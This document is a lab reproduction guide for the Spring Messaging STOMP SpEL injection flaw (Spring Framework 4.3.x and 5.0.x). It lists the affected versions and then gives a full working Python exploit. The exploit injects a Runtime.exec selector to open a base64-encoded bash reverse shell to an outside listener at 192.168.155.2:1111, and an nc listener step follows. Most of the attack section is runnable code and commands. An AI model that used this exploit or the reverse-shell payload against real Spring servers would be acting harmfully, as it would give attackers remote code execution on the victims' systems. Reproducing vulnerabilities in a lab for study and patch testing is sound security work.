1. Vulnerability Description
Spring Messaging provides messaging support for the Spring Framework. When users use the affected version of the Spring Framework, applications are allowed to create WebSockets through the STOMP proxy in the Spring Messaging module memory. Because the selector is written with SpEL expressions and parsed using StandardEvaluationContext (with too much permission), it leads to remote code execution attacks.
2. Affected versions
Spring Framework 5.0 - 5.0.5
Spring Framework 4.3 - 4.3.15
3. Setting up the environment
4. Vulnerability Recurrence
Visit: http://192.168.25.128:8080/gs-guide-websocket
1. Prepare the shell command
bash -i >& /dev/tcp/192.168.155.2/1111 0>&1
to bypass exec() and encode it as:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==}|{base64,-d} |{bash,-i}
2. Modify exp
exploit.py
#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
def random_str(length):
letters = string.ascii_lowercase + string.digits
return ''.join(random.choice(letters) for c in range(length))
class SockJS(threading.Thread):
def __init__(self, url, *args, **kwargs):
super().__init__(*args, **kwargs)
self.base = f'{
url}/{
random.randint(0, 1000)}/{
random_str(8)}'
self.daemon = True
self.session = requests.session()
self.session.headers = {
'Referer': url,
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
}
self.t = int(time.time()*1000)
def run(self):
url = f'{
self.base}/htmlfile?c=_jp.vulhub'
response = self.session.get(url, stream=True)
for line in response.iter_lines():
time.sleep(0.5)
def send(self, command, headers, body=''):
data = [command.upper(), '\n']
data.append('\n'.join([f'{
k}:{
v}' for k, v in headers.items()]))
data.append('\n\n')
data.append(body)
data.append('\x00')
data = json.dumps([''.join(data)])
response = self.session.post(f'{
self.base}/xhr_send?t={
self.t}', data=data)
if response.status_code != 204:
logging.info(f"send '{
command}' data error.")
else:
logging.info(f"send '{
command}' data success.")
def __del__(self):
self.session.close()
sockjs = SockJS('http://192.168.25.128:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)
sockjs.send('connect', {
'accept-version': '1.1,1.0',
'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==}|{base64,-d}|{bash,-i}')",
'id': 'sub-0',
'destination': '/topic/greetings'
})
data = json.dumps({
'name': 'vulhub'})
sockjs.send('send', {
'content-length': len(data),
'destination': '/app/hello'
}, data)
3.nc turns on monitoring
4. Execute exp
5. Rebound shell